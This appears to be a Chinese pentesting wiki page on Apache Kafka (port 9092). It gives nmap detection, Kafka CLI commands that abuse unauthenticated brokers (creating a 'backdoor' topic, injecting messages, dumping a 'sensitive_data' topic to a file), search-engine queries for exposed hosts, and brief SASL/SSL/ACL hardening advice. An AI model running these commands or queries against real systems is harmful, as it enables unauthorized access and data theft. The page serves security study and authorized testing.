---
title: "9092 - Kafka"
weight: 9092
date: "2026-03-09T09:23:30+08:00"
lastmod: "2026-03-10T13:26:55+08:00"
---

💡 **学习提示**: 本文档介绍 **Kafka** 的渗透测试方法，适合信息安全初学者和从业人员参考。

⚠️ **法律声明**: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。

---

> ⚠️ **法律声明**: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。

## 服务概述

Kafka 是分布式流处理平台。未授权访问、配置错误是主要安全问题。

**默认端口**: 9092 (TCP)  
**危害等级**: ⭐⭐⭐

---

## 信息收集

### 服务识别

```bash
# nmap 扫描
nmap -sV -p 9092 TARGET

# 使用 kafka 客户端
kafka-topics.sh --bootstrap-server TARGET:9092 --list
```

### 未授权访问检测

```bash
# 列出主题
kafka-topics.sh --bootstrap-server TARGET:9092 --list

# 如果成功，无需认证
```

---

## 常见攻击手法

### 1. 未授权访问

**利用**:
```bash
# 列出主题
kafka-topics.sh --bootstrap-server TARGET:9092 --list

# 创建主题
kafka-topics.sh --bootstrap-server TARGET:9092 --create --topic backdoor

# 发送消息
kafka-console-producer.sh --bootstrap-server TARGET:9092 --topic target

# 消费消息
kafka-console-consumer.sh --bootstrap-server TARGET:9092 --topic target --from-beginning
```

### 2. 数据窃取

**利用**:
```bash
# 消费所有消息
kafka-console-consumer.sh --bootstrap-server TARGET:9092 --topic sensitive_data --from-beginning

# 导出到文件
kafka-console-consumer.sh --bootstrap-server TARGET:9092 --topic logs > dump.txt
```

---

## 防御建议

```bash
# 1. 启用 SASL 认证
# server.properties
security.inter.broker.protocol=SASL_PLAINTEXT
sasl.mechanism.inter.broker.protocol=PLAIN
sasl.enabled.mechanisms=PLAIN

# 2. 启用 SSL
# 加密通信

# 3. ACL 控制
# 限制主题访问
```

---

## 参考链接

- [HackTricks - 9092-kafka](https://book.hacktricks.wiki/en/network-services-pentesting/9092-kafka.html)
- [Kafka 安全](https://kafka.apache.org/documentation/#security)

---

---

---


### 搜索引擎语法

#### FOFA

```bash
# FOFA 搜索语法
port="9092"
```

#### Shodan

```bash
# Shodan 搜索语法
port:9092
```

#### ZoomEye

```bash
# ZoomEye 搜索语法
port:9092
```

---

## 📖 参考资料

- [HackTricks - 9092-kafka](https://book.hacktricks.wiki/en/network-services-pentesting/9092-kafka.html)

